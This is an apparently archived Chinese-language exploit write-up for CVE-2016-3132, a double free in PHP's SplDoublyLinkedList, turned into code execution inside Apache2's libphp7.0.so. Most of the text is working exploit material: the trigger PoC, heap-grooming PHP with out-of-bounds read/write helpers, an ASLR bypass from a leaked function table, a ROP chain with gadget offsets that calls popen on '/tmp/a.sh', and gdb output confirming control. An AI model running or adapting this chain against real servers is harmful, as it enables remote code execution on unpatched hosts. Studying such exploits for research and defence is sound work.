menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 007-papers chevron_right 0336-How to Exploit libphp7.0.so in Apache2.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    0336-How to Exploit libphp7.0.so in Apache2.md
    8.82 KB / 2021-07-17 00:01:34
        # How to Exploit libphp7.0.so in Apache2
    
    0x00 简介
    =======
    
    * * *
    
    之前有外国牛人发部blog[Double Free in Standard PHP Library Double Link List [CVE-2016-3132]](http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist)
    
    其文章详述了漏洞成因
    
    ```
    <?php
    $var_1=new SplStack();
    $var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime will be double-freed
    
    ```
    
    `SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )`失败的话,对象就会被free两次。略过细节,这种漏洞想继续利用,必须要翻看php源码对于heap的管理套路了。
    
    ![p1](http://drops.javaweb.org/uploads/images/4750a8e40d8961f024fb63db68bd3e21ce9f40b0.jpg)
    
    所需要知道的是,问题对象`SplFixedArray`的尺寸让它存在于php自己维护的一个freelist里面。如果一块内存的引用计数消耗光,php简单地把freelist的next指针指向这块内存,这样就结束了。如果发生了double free,php里面的freelist会变成这样:
    
    ![p2](http://drops.javaweb.org/uploads/images/63e425f3261c4e52d4385539b2643698059b8896.jpg)
    
    就是说当下两次内存申请的时候,两个对象就会**重叠**
    
    ![p3](http://drops.javaweb.org/uploads/images/8448ed96dd4dd11550d3aacf67eb0fb88f6d66b7.jpg)
    
    可以上**套路**了,重叠字符串类型,修改长度,越界读写。
    
    ```
    typedef struct _spl_fixedarray_object { /* {{{ */    struct _zend_string {
        spl_fixedarray        *array;                        zend_refcounted_h gc;
        zend_function         *fptr_offset_get;              zend_ulong        h; /* hash value */
        zend_function         *fptr_offset_set;              size_t            len;
        zend_function         *fptr_offset_has;              char              val[1];
        zend_function         *fptr_offset_del;              };
        zend_function         *fptr_count;
        int                    current;
        int                    flags;
        zend_class_entry      *ce_get_iterator;
        zend_object            std;
    } spl_fixedarray_object;
    /* }}} */
    
    ```
    
    当然,精心的内存布局还是需要的,比如连续申请大量内存什么的,保证要操作的区域干净、连续
    
    ![p4](http://drops.javaweb.org/uploads/images/178cfaf9d12b236cb5abd7c3827eeeb1de8b565a.jpg)
    
    最后理想的情况就是这样啦,被改掉长度的字符串后面是整齐排列的`SplFixedArray`
    
    能做的事情有:
    
    1.  越界读后面堆块指针,获取其真实地址,和与数组游标的对应关系
    2.  越界写后面对象的函数指针,指向前面获取的地址,即数组的地址
    
    向数组填入内容,这样劫持了$rip
    
    文章写到这里就结束了,poc给到0xdeadbeef
    
    ```
    function exception_handler($exception) {
    global $z;
    $s=str_repeat('C',0x48);
    $t=new SplFixedArray2(5);
    $t[0]='Z';
    
    unset($z[22]);
    unset($z[21]);
    
    $heap_addr=read_ptr($s,0x58);
    print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; 
    $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;
    print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";
    //Set Handlers
    write_ptr($s,$heap_addr_of_fake_handler,0x40);
    //Set fake handler
    
    write_ptr($s,0x40,0x300); //handler.offset
    write_ptr($s,0x4141414141414141,0x308); //handler.free_obj
    write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj
    str_repeat('z',5);
    unset($t);  //BOOM!
    }
    
    ```
    
    0x01 实际测试
    =========
    
    * * *
    
    演示只是演示,没实际意义,在真实的生产环境中,这个洞有没有可能成功利用呢
    
    在此,特别硬广@lxj616提供的woobuntu测试环境,真的非常好用!
    
    *   Apache/2.4.18
    *   php 7.0.4
    
    在apache里面php是和libc一样被当做.so来加载的,所以全套保护都上齐全了
    
    *   CANARY : ENABLED
    *   FORTIFY : ENABLED
    *   NX : ENABLED
    *   PIE : ENABLED
    *   RELRO : FULL
    
    不要慌,我们还有更深的套路
    
    ![p5](http://drops.javaweb.org/uploads/images/1811956fcc24b92d01a35ff0054435cf3c494096.jpg)
    
    刚才那个长度超长的数组对象,除了可以越界读堆块的地址,还可以越界读对象的**函数指针列表地址**
    
    这个地址在同一个bin文件里的地址是相对固定的,地址随机化就这么过掉了。
    
    ```
    $push_rax=0x000000000033a9f3+$aslr_offset;// push rax; stc; jmp qword ptr [rax + 0x36];
    $pop_rsp=0x00000000000d3923+$aslr_offset;//pop rsp; pop r13; ret;
    $sub_rsp=0x0000000000106abe+$aslr_offset;// sub rsp, -0x80; pop rbx; ret;
    $pop_rsi=0x00000000000094e8+$aslr_offset;// pop rsi; ret;
    $pop_rdi=0x00000000000d3b2f+$aslr_offset;// pop rdi; ret;
    $pop_rbp=0x00000000000d3925+$aslr_offset;// pop rbp; ret;
    $p_popen=0x00000000000d2580+$aslr_offset;//popen
    
    //Set Handlers
    write_ptr($s,$heap_addr_of_fake_handler,0x40);
    //Set fake handler
    
    write_ptr($s,$aslr_offset,0x300);
    //heap_addr_of_fake_handler and [rax] is here!
    
    write_ptr($s,0x4141414141414141,0x300+0x48);
    write_ptr($s,0x0000000000000072,0x300+0x50);//"r"
    write_ptr($s,0x732e612f706d742f,0x300+0x58);//"/tmp/a.sh"
    write_ptr($s,0x0000000000000068,0x300+0x60);
    
    write_ptr($s,$push_rax,0x300+0x10);
    write_ptr($s,$pop_rsp,0x300+0x36);
    write_ptr($s,$sub_rsp,0x300+0x8);
    //now,rsp=rax+0x98
    write_ptr($s,$pop_rsp,0x300+0x98);
    write_ptr($s,$heap_addr_of_fake_handler-0x100,0x300+0xa0);
    //now,rsp=rax-0xf0
    
    write_ptr($s,$pop_rsi,0x300-0xf8);
    write_ptr($s,$heap_addr_of_fake_handler+0x50,0x300-0xf0);
    write_ptr($s,$pop_rdi,0x300-0xe8);
    write_ptr($s,$heap_addr_of_fake_handler+0x58,0x300-0xe0);
    write_ptr($s,$pop_rbp,0x300-0xd8);
    write_ptr($s,$heap_addr_of_fake_handler-0xb8,0x300-0xd0);
    //now rsp=rax-0xc0,rbp=rax-0xb8
    
    write_ptr($s,$p_popen,0x300-0xc8);
    
    ```
    
    很乱的rop里该有的都有了,包括把栈帧指向刚才操作好的内存堆,方便行事。
    
    ```
    [----------------------------------registers-----------------------------------]
    RAX: 0x7fc6edc6ebd8 --> 0x7fc6f218a000 --> 0x10102464c457f
    RBX: 0x0
    RCX: 0x16
    RDX: 0xc4f352ef5bf0be4a
    RSI: 0x7fc6edc6ec28 --> 0x72 ('r')
    RDI: 0x7fc6edc6ec30 ("/tmp/a.sh")
    RBP: 0x7fc6edc6eb20 --> 0x0
    RSP: 0x7fc6edc6eb18 --> 0x0
    RIP: 0x7fc6f52fa540 (<_IO_new_popen>:   push   r12)
    R8 : 0x20 (' ')
    R9 : 0x0
    R10: 0x2
    R11: 0x38 ('8')
    R12: 0x7fc6f2798c1c --> 0x0
    R13: 0x7fc6f27ae8c0 --> 0x40 ('@')
    R14: 0x7fc6edc12030 --> 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push   r12)
    R15: 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push   r12)
    EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x7fc6f52fa530 <_IO_new_proc_open+848>:  jmp    0x7fc6f52fa4da <_IO_new_proc_open+762>
       0x7fc6f52fa532:  nop    DWORD PTR [rax+0x0]
       0x7fc6f52fa536:  nop    WORD PTR cs:[rax+rax*1+0x0]
    => 0x7fc6f52fa540 <_IO_new_popen>:  push   r12
       0x7fc6f52fa542 <_IO_new_popen+2>:    push   rbp
       0x7fc6f52fa543 <_IO_new_popen+3>:    mov    rbp,rdi
       0x7fc6f52fa546 <_IO_new_popen+6>:    push   rbx
       0x7fc6f52fa547 <_IO_new_popen+7>:    mov    edi,0x100
    [------------------------------------stack-------------------------------------]
    0000| 0x7fc6edc6eb18 --> 0x0
    0008| 0x7fc6edc6eb20 --> 0x0
    0016| 0x7fc6edc6eb28 --> 0x0
    0024| 0x7fc6edc6eb30 --> 0xc01a000800000001
    0032| 0x7fc6edc6eb38 --> 0x1b
    0040| 0x7fc6edc6eb40 --> 0x56478a526ed0 --> 0x1
    0048| 0x7fc6edc6eb48 --> 0x7fc6f27ae8c0 --> 0x40 ('@')
    0056| 0x7fc6edc6eb50 --> 0x0
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    
    Thread 2.1 "apache2" hit Breakpoint 1, _IO_new_popen (command=0x7fc6edc6ec30 "/tmp/a.sh", mode=0x7fc6edc6ec28 "r") at iopopen.c:273
    
    ```
    
    别忘了$rsp和$rbp都需要设置好,不然popen不会执行成功的。
    
    **最后,有两点要说明一下:**
    
    原文poc提供的`read_ptr`有问题,读地址的时候会中间丢掉0
    
    感谢phithon与毕月乌大牛提供正确版本的函数
    
    ```
    function read_ptr(&$mystring,$index=0,$little_endian=1){
        $s = "";
        for($i = 1; $i <= 8; $i++) {
            $s .= str_pad(dechex(ord($mystring[$index+(8-$i)])), 2, '0', STR_PAD_LEFT);
        }
        return hexdec($s);
    }
    
    ```
    
    另外就是,采用popen这个函数来完成最后的shellcode动作,是因为这个函数在libphp.so的plt里面提供了地址。如果要用system的话,还要到libc里面去找,多算一个模块的地址,就多了一份麻烦和不稳定。
    
    ![p6](http://drops.javaweb.org/uploads/images/8e655e75da8a663372b36c2b2ea907324a6442c4.jpg)
    
    尽管本文成功绕过所有保护成功执行shellcode,但是实际意义依然有限,因为phplib.so的版本太多啦,很多情况下都是自家编译出来的,不同的so文件function table的相对位置会不一样,这样计算的基质会出错,当然构造的rop也全都错了。
    
    php版本多,glibc版本少啊,用glibc做rop啊!用glibc找system函数啊!
    
    ![p7](http://drops.javaweb.org/uploads/images/bc4fe9170e6328cade08551c3e857ac1973fbe39.jpg)
    
    除非上面那个被改了长度的数组可以越界读到一个glibc里面的地址,否则怎样都还是需要依靠libphp.so的。
    
    以上です。
    
    links
    file_download